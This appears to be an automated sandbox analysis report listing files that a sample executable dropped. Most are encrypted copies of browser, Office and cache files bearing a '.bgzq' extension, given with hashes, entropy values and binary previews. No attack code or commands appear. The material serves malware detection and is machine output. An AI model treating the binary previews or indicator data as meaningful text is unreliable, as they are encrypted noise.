Preview:	4.397...(V&U...k(.C.6.m'=.......W.7.0k...>F.v..+U.a....6g..Ke........y.H.L..uc..N..).T3o..5.6}.......Ig.b.s-n...f.!...+.\28.......\|x...A.E.0[...:...;....Z!.b%M'!./4#E.n\.....b..3).m........]V..R[V.P....W..gXQ...o...m.0.oX.=.K..1..Jk.6j....H...V.s..q].\|..X4.$.}..K..6...%BD.j.<.93..k...\..\g...;b.w..a..`...8=......!4..W)...<.....@..I.fZ......Cg.f%..iR...U.........W"I......I.LWz.73w....Y.`...4...F.....^u...pyj.W....v.PtG1,.kqsb+..SP0..?..e.....P. .~.Z.d.'2..j.8....._.$'.&AZY;a".....w.G.kM}.q.E....8.g.gW."P.1.g.;....j....`G.>..........]mk...&.."L..7..*..5.....]Im.[...V~3.<..Z../..d-&..!h.S.."...;.....bY...........=.8..Q...._...p..TE.]....+...x.7.K.>4.v.>.@..>.#.x..v...N.....it.w,.@..o1F.!#....m...P..)./G.....<.iV%../.......:.w..'F..,..?.$.1...0=.4oI.6.....H..w....<..uKC.7.5.T,$./...m...x7.a<..-.....q..&4....ZA.k.\|C....E...k....l.$.Y.\d.&~..Z.....H[$.l.K.H....W..V..R.s.5Y..M.$...#'-m..M.=.e3E.z]iW.,..^)..u=.J.x..?.q..\..Z.0'S...Y.<..s....

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996337647485094
Encrypted:	true
SSDEEP:	1536:LWB1d54MZfjPOO6yMhAsFuSyd3grEp/wmcGsgSmUP:KB54zO8AkO/XBsgIP
MD5:	4A571DA93E07AA104E2A9B01DFAC1C7F
SHA1:	219559395AC07640B662B2BDDD0602D79DC409EA
SHA-256:	01A65674AFCC1999DA4114FEB1899F665B91B3A9E85A173645806F0D74252FFD
SHA-512:	292E00C950DE465CCC46FE1B503AA192F77A1FECE27984DC0514F97450638A618A1F189D4EC58D5A8CD40A09A682258C6E817DCA6621564D216563A0CE530C6F
Malicious:	true
Preview:	SQLit..`..v.`..C....%-ip.....^.<.&...;..hi.^.....H.0-.A..< s..K.i.N.rnFl.DML..Wq..C.^@.%....n...m.+w5L..y....Z...o/..`.r..<d.S`Y.1......1.a....$..y,.f..wJ..I}\|.L.yve.uV...sN.>.>.I.0.J..)(u....@.j..E.'...O..-t%r.b..9..Y..M.....\|.....j....R...."..n...w....Y=.?.uK.u(............{)s4..l..;B.-....8..~.........b.........J...].pV..3HY..Q{..7.....pp.D...`....H..3.,....h.we$.B.4.y4..........@..3P.LFk(+.a.g.N;..#.@. Y2.6....A.h.....?..b.M..].{.JXK/q..V._/.7..kx...W,S..c...oF..:.P.\|Z..Z.\|...!.WV&.z.=..ew....:.}.1..{...t...x(...@.KqM..O.E.6.."B......'..:.4........<\|z.K..hs.....d..1G.....V.U..n.....R...oV..!.a....J.......Q=..L....v....w....i0...c.\_...C..."....3..n.....c..,-'.)A.JT..Ta)..-.7..K......R8[..,t.E.-..UVw.j..SC...:.VG.,.*.'.$$...9a...!.h..v...p.P...p..Z.c]M<+.....U..)...[^..I......+Kk..p...Q.U..w$.?\.L5.....A....Z.I.<T.<uy.i....l.v.g!.8...l..yF....".j.Y.j.`.M..:+.......7.g.c.$.\.m......q.Q.l...dSIY#.Y..Da.,t`....p..h.$.....6..#.9k

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.274536872423409
Encrypted:	false
SSDEEP:	6:QDOeICBBXQ5oTrMb92wSNXCfhP/W3Mi231q8cEc8/bIZzblDsFmtzjhPcii96Z:Q5BXQ2n+9XSBW/W8RlLfIdbh2wjVciik
MD5:	8AE754FA15BF83FDE600C560FA087ADE
SHA1:	077F4D2A40CE061847A297705BBC5744418A782C
SHA-256:	D7C42C897EC747623F9E4AEA5280D033E5AFD9F4104D3ADBE2C74920A015F72C
SHA-512:	F4CC6847DCC8140E4D8F67A93591D1DA706FF33799A30BF4AEEF145BB4A20B12FD245FB203E5E521C8D1B6C16F25A66531F28D77122F28A55C63D5EEAC971868
Malicious:	false
Preview:	1,"fu:..`.h3......;..i...d....8.R& ..r....E.........M......-..3~R.$.GZC..>..Z.d.V..#.....1...m.&)..]<..}.x.H\.Q.v....../#v.:..B..h..k.k&.H.._3B:.!. ..[.L.........K.V..v.7..U"..AY.G..;.D.9.q.+._:[zm..}...*.........,.tS......{..S....\|..Z..Je.....$b;.#7C.o....<}..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.832046963259286
Encrypted:	false
SSDEEP:	24:0uPEogOFOEAQtO9cAWbB6Olr3ZSQesmFLio1/EbPLGiGLI+Jwq636FUt2A0RzC19:0uPXpFO/QEcL7pJDesmFBWbBGLNwyA0m
MD5:	F270DF1A3B3C37F9276BEF86C6CF0E49
SHA1:	744329CD4B8922908B435C2CDD1B610A890B5226
SHA-256:	91814222E7A5FCBA6B3FD9DF05126E02F30DF63E1F118D8FCD49FAF57DE2348A
SHA-512:	77B2C35DA6CB19E9104B2B2F4FA88CFB404621684676587306712A8095AD2875D2B06F729A36539852D96B20FCE343C7CAB08B3F6DB41EC78996427C9C95F2DA
Malicious:	false
Preview:	1,"fu.V.&/].?g.\|.6..V..Kcj...<A....o.m.(4.C...%.Ns.[&...........-..Sjt4..;...Z.......d.?k1BG.+W. ..I..@a...0..........l...-o...%......p.].#.yj.R0I..@<`H.....ula...8#Z.C....K...v%z+7../..\...X%T.O.zt.:.9;.'T...v.e..d[.3yL...!..l.....F..V..?...dnH...gX...m.g9.G..`f^.5.......A.X.........-.....w....J..)..dR..tk^.'....PnO.}....N.=.'...L...5.T.......[.F..4N.l....j.2a..A.W.a:5....'x..f}.....Uf.}6<N..vs.. ...{.......t....I..!....h-M.Y.v~..i.....D...>..)...'?.o.W?.J...... _2.V...........Rq....v..."....+...)..-.]v.?...-.3.h.."9..g...A..u...O.= .s.Xf.....h.O..&.....#........+.?.....).c......S..E.}5u.9..C.}..z[Sh.V.v4.LI.-.../.Q...&.R...[..$5.G.....a..;.78..6....-.0....Y .._..5.Q.R..H...J.}..v7.O......3..v8 ...H..........q_.;..Mt........,.[O.s.$"...s..ie....YO.r.e..9.{.(.E...$u...?6...".;.....X...x.(!a...q.dl.'=.=E..?X...rK................A...H.jp...j.....{"~...f.{..6.At.jp~*{......l..6.5...aOd.....9.....yw...\. k.....'}.. ...O..C.?.....d($:

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989722604370633
Encrypted:	false
SSDEEP:	384:KYPun4Ouz17j2XyGFUDxwLUpQJ3cBKa48HOmV3afjWp4kMhdTQv+GIXrl:KYPuUBjayYUDxwIpk3BjxmVKk4ki7l
MD5:	10CC4A62451178C5876228B0605CEABC
SHA1:	13639E00D274C7840FCDEFC3ED8F3B9FEA582649
SHA-256:	56F9A01BCEF357780D282011DEEF31C803353C8D8966E2792E9078CB88C2571B
SHA-512:	DFFEEC72395E2941FBD40FE622B2F7C1FEF7CFD463AEEE191BA71D9A4DB3BAF37C564254BF13641B1A757DFCA6410ECAE36488111532F72C92F3369A07C6AEAF
Malicious:	false
Preview:	...@.g.....}.d.O..n........6.<%hL..s,...r\..]ic2........'k}t..DW.8Z.".(&L....OL.V__......van.....`...........5x.%....x.d$.?.-.M.V.. .8..&.J...t:.IS.i=...>EN.5...!..>........./..D.(.R....2Y.}..=......(.tb..m..Q.c\|..2.3"..@B3}.....a.'.p.).{...[..iT..y8..%:..8....?.+.2v.....m...5,.:>...9 0.%.69.c...... e...D....a.ji.l..K.pz>.Fw....U.........M....@...-..Y.4.....4j9...,j...d.+...X;.j...~....>M...o........D.#..Jr.YW.t....'... .p4+Mm.........D.6..yv^0(...#..s..:.;WNi.]...s!5W....u.BD..iI3.U......v..xn. ..._..P...3..)2x..(o.0.....kRt_.....J...kV.w...}d.....Y.&}.m..:....x=.;.7......].z....X.\$.SXA..N?3.k..;..........E...-2}.D( ...Tb_v+..c!6W.....o.=...Pl.;..s.Z....H.../_.IX....~.{\|I+..3..`s. t...f.[.(#J,.!...H..].z...H/..r&.pd....5.....{.g.7.L....Q......R.jb4...z2..w.<.#......^%f]...j"T[...0U>.?.R...%..xL...w.,[..Y..x....6^...".....t..\..G.0...LE...`'1{..eE...=)5.*.x.-..h..Q...ul....U.cZ...........D(..\'.3..v}J...+.}\......b.....2.X

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.9792723987637455
Encrypted:	false
SSDEEP:	3072:AM5mtQZnMhc3K1fChT+0m6t4Q261JN2XOw5DcU6Kowk5G:nXU1ahC0mA436FdwVR6Kbk4
MD5:	B961F27FD2749DE6883191F53817337C
SHA1:	5596631191A6E5887B902B32245FDF9DCFEDCAF4
SHA-256:	94A48B7BC836622F13B581A820659BC893A6B59FED1F0CAC55F6C4C5C2083576
SHA-512:	1C9AEC6254A2084F6D374CDC4858EE52722E46061E75C447234BB1715F329C3CE01F752054B7ECEACDB6A06CD858A71500CD9894D08B666DC57E8929544E28FA
Malicious:	false
Preview:	{"Maj.!...3WqI Q.}.eP.%..v8d.oE.X.....m..2.L?...h.gN..\.K<;.$...i...<,\S...`.&.f.i......c.<r..>T\|.,F.P.......X(.)..G...}..>....0T...i..Zam...wS...4/.Q..dGp`.^.e,Jc.]\|...7.?4.....R...{Z.....]....kv...I8..9+.........\.e..y..Zf..,../.X5.&. .Pf.-....I......9.'~...FlX.Z./).\|..L+..eG.)....I...=s.Q.....6.P...B.V...K.ST..Q3{.c.ND.t...".t.3c.3-..m......a..{.[...~...Yq.c_5..e..2..z.......K.t.,....C......P..Sf...a....8^.:'..&J6....w...,A....}.6..9.n.y.{4..\rb`m.$Z.]w..r...7....m..O....i.$g.Gvh.bh.]1.JC.L.,hRD.........T..`....8......X......=...9.[......:...b........T....x...o..e....V..P.+.@.M...\|..y...h!.e.bDT..V..f...{.3.b1Y.,...?.}H...t.{.....Q)#.....$..XE.2.(..K..,W...3.J%.?......g...5ME\|..S_5..I.lG...qex.....M..RS.s......\|..H..].....B....{..`..RV9.S..4...U..+>.C..q.#..}Cdu.U.......NNH`]Lv..0n.p.h.ss.3."..........G.C#*....wu..a"..........Y...$..+.t`.]."B......Q6..Gz...mH..U.uB.-..L....^...M..Wk....T.3J...cP.t>...eexA2.....#i..e.........s....3..r.?J.

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.92124580701495
Encrypted:	false
SSDEEP:	48:3k1T1LDkgt5sOPJRq/b/ycIGLQ3dL+6pIlj5rAy16swFD:MxkgtDUb/FLQtL+d5rD1rw9
MD5:	046BD18F4DBF915D4DAB6ACCE2855929
SHA1:	DCFEF819DC85CB6D215D06CFBC24310093D48812
SHA-256:	83A1EAA0E14C73672C774B5680C61E288675072F651117362ABD984D7909AE22
SHA-512:	582900938142E81513D5F40B91C78063D1B6A71E236BE1C02EC3121BC2CFA1559FA1C616DDB7CF2969F5D72BB1478F694795E7CAC74DB3ED193ED0F002D6BEA7
Malicious:	false
Preview:	<?xml..r..0.Xe....),}.).....Z..).N....E........n.e.-.....I.;.)E..y...D.....K.\|^..0pF..Q.<..O.....A..............2...TD%..k...b.. (c...]X..T......K..:>M...n.1-+ ..Ff.Ryz.E..j.ZK.....].B..q^..-b..o.X..T...,)"%..(.._... .f,..].k$...d..3........B...D%O...5ejr..!P.........R..f.#gY.]............T..Gw...a........aL..JA,...$....0............Z....#.....z.W....i ...)....3..C..q.#....R......!......A....F.........%w.....V....D=...uC:....z.i...5q..b>....N`.7N5p....c..g...{=bt...^.......,xB.E3t...SLl.g..S7X..V4Q..%...0..7P...q..7...../..2J.7..$?0h....8....w...W.a.qj..u~..^w:....c.W.....F...y1..&...S!.Y...q..[W...7...F.......r.. ..m....!7]..8O........$...}..`o3..=]v&..S.b....Bt..4........}..~.....S...O....[...,.D..m.l.........I...hXA..$t...-.k/.......U.[..}....[..)..V..I..T....75bPr..c.$}..&..._..z..}Qp.............i<....FR@.e.v{...G!.Ms..S....Ju~..X.j.4...v,....j3...h.U.y...1..9:_..):.o8..t3..`..{.NtI....M,......._..k..m....,...;xr..c...me

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976641709632652
Encrypted:	false
SSDEEP:	192:lgxS46qYsWdK6XvE0HAEpWGR5QvQxpfTGlpi6wg98Cup:l/4LYsLQvFPbRWQxVGfiHlCq
MD5:	D071CAA726149D38376D545C57FFB8F5
SHA1:	4664BD531CA688D8E323B345F799446C3BBECBB2
SHA-256:	2EDB0715EF8DE95E9519BC1C6AD7D34B39BAD47CFA06DA0B1BF2CEEF17E3D796
SHA-512:	2B75FE04EFCE7E17B77D1727230FE6F0B2DEAC9018C5FB317006A5D7D639F958006A5839F44ADBCF2983BCDEC979665804A7C57B77C11D363762214D8D87E540
Malicious:	false
Preview:	A....'..0.~A....n..;..O6Es.....Z.5...q.Bl.=%.4@w......h:...$D.r....6...{.]-.t+....'ne.xRv..PG_q.4PE....U...c....B..N..S.....>d0.N.......jg.sa@.............62."....."d.s.2\..u9.$d.Q....;....."M..q../e...eT..d.C..:.\._..g4.S.v%#..........a,Ymb+\|.'....=...N....../z=.#.......l@.R..\.2.,....'..;..{.&N6.{.J+...\|D`.J#.Y.`...R....M.5.O....B%.....XsB3....!.[.....]..n".;.R.?.~..1..>2_.B.\C.h.9.4.l.5.(x......."c`\|.D&z..4.zMT).......F....~.5......$[}.U..{x6.F..{\|....M....P.}..p%S6H...p\........7.o...U_..,-s.;..s.N...../k...ke.N..wz.\|Z.01O.NXJ.&.0......]4+.+.>.s.q..F.x.;...I.............}.X.>.."b........m.h2....?!.Z...,]\V..x..IY..@.,..pbX..l..BH.Q,.Zd.....3 _..{8.s.Y.E.+.;....R#..7......~....!..3.....^.h.N.... UR&.......P......<...aGD....~..N..QL`}....e.c.lF........gX.=.fw$._?0.....L.k._m)t.7:.!.A.#....]...}.....jf,..uE...s..x...d.#..S.....9./.l......osw.. .#.x e.U..+N..[?E....S......f..f4...l..........U.....'.....9...=...N3nc]].

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010106416098319
Encrypted:	false
SSDEEP:	6144:Fe1a7+L6R8hm13KzLW2n3LBEvZddJkcoesPBU:I1ao6RQ/rn7B8LYeT
MD5:	4BC3882AFFF7ADBBA04A5C25E1C672E2
SHA1:	7480E7DB7A21925933E2DE7C12D1C501D9541190
SHA-256:	9B509F5D28CA45661BFBFAD07D5FA26968FD2C9D91399A82761CE2E21BF3EC2D
SHA-512:	5DDEA81E38965927C8A80FFF260155C94AE71AABB63CD07CB4D5294812E2B93015D7F6A14BEDEE653663B053F1B752E299CF35CD14EE674F21B78C824A505E29
Malicious:	false
Preview:	.........U........D...X.k.......)b.f.7..Bh{....._.'... l.S.7.K..XJu....(.^.".5s.....h..q.8.>.q..&....;_....t......Z.\...A..-..g.v20.....Oh.R..0.?...6..J.._:.+.2.mgjRV...^;.pP...PC.;..2.......r..W..X.W.O..?..:....../3.E......'cH#.2........@.I.0l....&...T......"...8..........^........w.M..E...C...A.......m.+Q&..}p(..U.sK..h..D. M....o.tu.N.E}...>.a...\|. ....X..!.A..ka...\:.M...F.......+~.P".o#..(....%.V....=MO.=...P.,.G.&..6.w...j#..q..N...X..z......".-..Y..p.z..a..w]%X.Y"L\..(.t&T".BS6R.8...<1{$0.u../.T..P.}.qqmX.~3.[..%\.`.....4f<.].3t.....O.VU..io.......is..;...].#...!.T'?pQ1.+$..L.4./4.:.."...=...2......B.......?EN....K<...N..s.$.6}wv.Ea.J.~8....0..3.(....+..$:G.U.9....."o.^...G.I;{J.Q....#)..:...>..+..h..Q...Z......S.Q..i_qQ.!.....WS"g.i9..6.R. .....Z..I.....".u......z..u..RC......9n,..=..0...1X..B,...jU.dK..u.\|.C.zG.!o.....C\|$...[:.l#.=.....jw9....&./........E:.K..ny.$.z..V..#^c...yEF..L...9....4.....n.J..\|...s.5....%.E.a..U..%`....O.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076523116264823
Encrypted:	false
SSDEEP:	3072:pLmcBPttjjRWBi4c5f8cOkh6GBKeceGe2hOCZgVcD8xEwkyFIKv8ZiC5VmcA:pyCPsMZ5upGBiOtVc4Rk4viiC5RA
MD5:	B87799CE679008DE508DDF5A1D219F7F
SHA1:	06DFAABDBD498E2A2C49C40E6A7B7CE06D2AFDC1
SHA-256:	1E469AF97324ACEEE4DF188140BA148B6AAE3843D31B1F976FC949738F165BA4
SHA-512:	FA4D297E9D1D2C1DFDDF8ACD46F817DAB2B7755A3DCC2910BF348DAB8DDD83FFD970D445421687D32E56F4F024250D29080A75F977B57FE4D0EDFDB12FCE5BAA
Malicious:	false
Preview:	......gSO...}.i..u....vB.X.q.Y.~...T..b,..lJ.m.T.\.%.P3.uW...#.\|i..>..A.....a......P.._....Ai..3j...X...=x.x].v.."^....K(.E...uKJ...r...3...sH.s4[......J.....d.VIp>m.FAy.........-....&.i}I.....k...b......lsXd5.a....-/..>.3......^..2n.6....~..Dd.9..w.F.e.W./..d.e..R...jU.0.B.o..\|..;..lu..F.(...1..U..L.vzA.b.&..`....<c...y..Nf.O............aj...&K0......Z.H...z.....4mb.}3..R.P.d...1.l.9.....MJjl..G.....,b.0...aJ......4./...g.#..q7..r?.i..42....".Z.Ns?..<4..).7,.@......CX"{y.6d2.....4WaY....n.....=y../...~.t.2.W.\K..@..8<w...5.:V.....f.>f./9.t...Nr..B....i..6H..t..a..8Dm'm.3R..%.9+.n.f.`xE.....K...m.C...2.=PH....H......{I.k....<.Uw...........1.....)...zX..p.(.....N.^.O...2..#........c.....p......~.+PS%....`..XX.tPp..p...iI={.W...f.{.......A.=.%\|..\}....?&Y/..<6....V.5.4.bG./(.q}...W......x.\.%.^..!/?....&.-...%w..@.k.d...0].K.@..N..b...d.."..^.......Q..8..W.i....hA..ba..2,..+..36.M.z....i.b..Z.p...Qm.g.R......#...mhY........J..l........

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207758739100589
Encrypted:	false
SSDEEP:	3072:sOMcGnqApUP8cVa+UTuqp/+XWWu/EmEx+ri52iHl5M1ZZkM:oxt2ar3NC4BEguw
MD5:	86C56F97B6F13942FB3A3B09A753DAFE
SHA1:	55BADA15E52C1054CBA3E9F5B853E8F907706620
SHA-256:	7495D0640F29E3C18AF01FA5093849C9C9B1B01CCD6DC85011CEA33D6B2E9220
SHA-512:	D197E56DFC3EC577C772FFC54F43CA8EB9E82EE6DFC73D3603D933CCF1139640E49FDB0FC5936A14A165E1F80EDA54E53C5A540AA1755E478AEAC8B9AEC6D6C6
Malicious:	false
Preview:	..........Z....N.)..^C.%O].T.)u.8.`,.........b......l..i:.!.#....'/....c....RMD...k..1.N..1.g5iD...6".z..[.cPr..\|.#7'{8..Bm...`s.8..ir..].]A..J.]..l.....<g..8.pE=........O........@.s.O..{.a....i..>.-.{..$O.a...z..jfj...aYs..R.....n..b.-5?h....$....om.rB.O...&..'.H....%.....Oi.F[..1`%..G...@.......KA.VeaY\|d..{83e.P.^.4vE#6.)w+e1.m.I...........w{..LH.nP.[!sO.q1..[G?.A..DnR...R..W.:aE-H\.jA].L{.!J..D. (...;.B....K_......K...G...7).MeO..tX.a, .7..}.\..Y.Q.;._...P...v..n.9.u.....).B[.._..m.:.z..g....1..f......\|ew5.O...dq.ocfl...$....0..\|...wR.y..n..C..!...Gj.1[..%..LZ.T.M.J.......K..c{....y.u5a.V.0k.M..(\..4.c..n4<...$......B.E.K.tC........q...Iy.\gv>6+b...4.d ..?...A$s.bx..qj.....#z.e..][.Y....% ~.2....\|.c..6.....z.[.Y..D..V3..h..!\...5b....w...$...WQ....hIz.R._...W.9#7[....f....c.;.p...W.?..%...,.x..l.... .~.0..I...j.{\.HD.....n.b.\...J#D.=..P-...{b....J.+ p......,7....%...j..@1.f.f).cb....b..G..8K...r......=1....[C..P...&.a.t.......e.....nV]

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207824377702783
Encrypted:	false
SSDEEP:	3072:xi/lzZLBRqSt/kVFNxUC2DEOaA/NRi7KHNWuvanzEmrvJ/y2:wl1LBHt/8DV2DOMCUJeVX
MD5:	765A41F58B64E180CEA7F90012F46754
SHA1:	2CAFBE9020B9E8A94CC7128963A91726FC6C85E1
SHA-256:	4A6BBF8B5A9FF2F1F3DAD9CDAC4BB89D371B145CF751B6F85CF61FDE2D7931AB
SHA-512:	82958DFB73EBF5C19EC9A8EF3D7918EA3E82A2BBBAC9756A68E998141A1E3D8513FE249E8E0B890466D66461CF535A0215A52975BDF11CAA79419552A9E88FFA
Malicious:	false
Preview:	........?..x7xJ...C.b..W....=c@...D.S.k.....E.......g..o...!...\.....k...`.8...u..~...t.......;.%\......).....]...U.3.-K{.%.AK.G.{....lU.....[....:2.1.\|.+..A.D..)...E.r.Hm.{^{.~.'.=..M/....@.....\|.......Wy.[lB.r.L.G....Yn\|qR(....\|D...^.&.'N......?e&..U0...oK.Iu.ee<j.d..xA.... E...e........,H....p+O..3.v.F^B.....\.'.3{.......~...A...........6..G.&...........5...9..p..oub...kKN.......X~....?yv..@...ib_...7..N...'...~jE....4..J...........DJ....f4..i..cP......]Oof.....-.y.y...f.$..S0y..z.wW.E.h. ..[.n..+..`<...i9.i...........q..h......FY...58Fy...V%w=.x....eS......jQ....H...#+...R..8.....u..}.;.w.z.b.AS^.t^wO...:.F+...?Uw;Z..\03Uw.b.N...U.:..q..?J\``...}.nleW..$.t...l@.Lf.6W&%Y#0V.^kn.....`..9.[..D..^'m3%..T.:?.7...hG.k.@.jR.Ne ..$..H.[........7..`o.Q.8.DI........<=N...(..../T..<.c..la?.B.,..............L(..m.zb..XH...[.Qx..c.#....TH.O:.......................Q.y...tP.O.]j r........l...$Y[...h*1Dn......c.../....A.,si.^.....M..?>.w.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.935979939988605
Encrypted:	false
SSDEEP:	96:1FLnHP+dEjKqVMCiLZSfqm792w2CUIZyhMJ9:zHWHSMC3fh7924PB
MD5:	30BEF50A0EAA3D312F3CAF490D8F5796
SHA1:	DD2E244163B3111943CAEA3445FA1F8EB091136A
SHA-256:	F1934793605ED9FB266C2A25656DB805A4BA9BE1955E203488DB416EBF1512BC
SHA-512:	46D8AAEA6B22D86748042F3141497DF06E4BA0CA4BA2D02AEB143583978346315FDA331D02A5BDE9A33AD5F41020B1523B57DDD7D7885B981417FFAAA13FC7F0
Malicious:	false
Preview:	<?xml.J..[B../.....6)"9..}M.ix6j..Y..~....(..dea..O......&...?nt9..h1.D.....[^....1.j%......@]Xu1]c}L.mJT~pw4.Q.gs.l^.".>..4(d.~..z.\H.L(CK.VeM.>v.j..AX/.....%.v..3EbXGl\|.v.-zqT...t 9.].G'Z.{.....7...^hj....X.(.F.&.>z(. ..:....-.N.o....;....&.....)q..m........0_......}...9$...k5.V.......#d...o..Cl...ne....Y?j..aY;7`..v..5.-.1.... ...~..,....q7rN...'^^.S]...4.1r)%.........<....:..f.O.].mD:...y@.G.C.......^..'[.......,b....m.n.......m..e..G...k....X....&.!.....lku..<n.....3....F.u..j....7........Z.%......Q..w....Vx......I..v.f...q[.....Ow.S`g8M...J.....C.8.0.x\.=+...}..H...Z..s..X ...)mG..=.J.......IX.,n..1.....$...Ii\BXo..k..B..Pg.~J=dx.0.-$6.f..}......k..h....B..#..QB..p...C*.."@). .{%Eo....)rH..)]....JO.'.....ouY...K?..WS.9A.M.)S.. ._.#8m.P....4.\b.D.....d..yC....).9.J\|..r..?..@.t.SU.."%..x&.......3.rd;dP..'.Fo....[....u.aT.%..lN.d...p'....I.....1....%....\.Y...D...d.z......1<.d\'-.q.eV\|..99.........t..H.....E...........CFU.>-P....-!..d

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725077105017809
Encrypted:	false
SSDEEP:	3072:slrLEuKXW27wLmVQDzRYILDsTebFngP3PCKC2R:qh+J7kmVQJzFSCKf
MD5:	C0B1E67F728A2EE5892478DD060E2472
SHA1:	64277813CCE96AC0E3C4C536399509EC9710EC93
SHA-256:	B269510D3B8DC8BD49A92C2875BCE28CC7580CD940FAB84221C202EDB6E26D7E
SHA-512:	D861D3591FB4C0983764FAD63D4390F49B9F8B65BF59982F170B3C78A060B97A1709CA242CB9AF943F00EBE989B03D5C0C3AAFEE33A5F072384DC7DD711EEC98
Malicious:	false
Preview:	<?xml..d@^'&Q..w~T.._n.Pm.T.Fe.mbD.....=.&$O( .e7.9..$!q...be.....T.....{....A.,D......N.N..q....U.>.j.s...j.TX;...>.W8L.pF.B....kh ..\|&ap.j....o1g..\|Yk\A.O...=W....%5a..!.....>..4+RR...._...!.....].m..)a.BL........".'....6.v\....'......$)..d...F.......<.?......2.<..".......z...H\|./%.+G..........zP.z.....U.....}.i..'/......5.5[..F.Hu..D...........:P....m`0.]G......@}^X.<..J.?.......&..DJ..!...N{6....iz.(n.o...?d..J.......bt".Oa.ehN.H\|.....5......h3.z.w.-.....B...a.4<.m~...@..r.CD[..]..b...H...h+.H......6..2..^...{...!'N..Z:_.._&.^H.($(F.j&>.....a.]..(fF#k?T1...6.f..x;...2ni.../..+...}.i.B.X..5R.(..\|9...`o>...<..E...@H...2.j.$.l^.^=4..X.?...`.xzi...{n.^..cV...`G......5._&....m.V..@5>$X.......9sl..C...x.S.p..g...G.J.V6p.q..z.e.....O]:.z....Z(.4.t.x..z.........n}.......f...z9"..q...Y......(.d........Y......$h....:_......)I4. 9Q:...2...w.R..V...-...]......8....@..>.Y(!.p.Vr...q&"...:.v}.r<../..:...3.,....r...6..,.Yt)Ad..%'.....A........M.w.2.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.943368693577847
Encrypted:	false
SSDEEP:	48:gof3LsgYuUwGpzPVz6ndVfcuRBfF8jDyEpOLjXI6j612RE3wA/HXE69OfAKcUFD:zf4huUjcPfhRBfeyVL862r3wu7DKZ9
MD5:	46F288F7E11293B66D64920089C658C9
SHA1:	F95CD7A8DD3BB866667752CB063DD372E9E392B4
SHA-256:	118189F9582519E1A222AA5CC356C682C0E0DF71177E78E521B96CF61B5556D9
SHA-512:	A4F33D84FF841FB9CD642FB160DBE818A8C97E8CB13B856F0090CC5F3E453DD207C4F6DA82805A2AB3ADFDC16DDF361CE764207B12BD6F4944C5953779CE6B3D
Malicious:	false
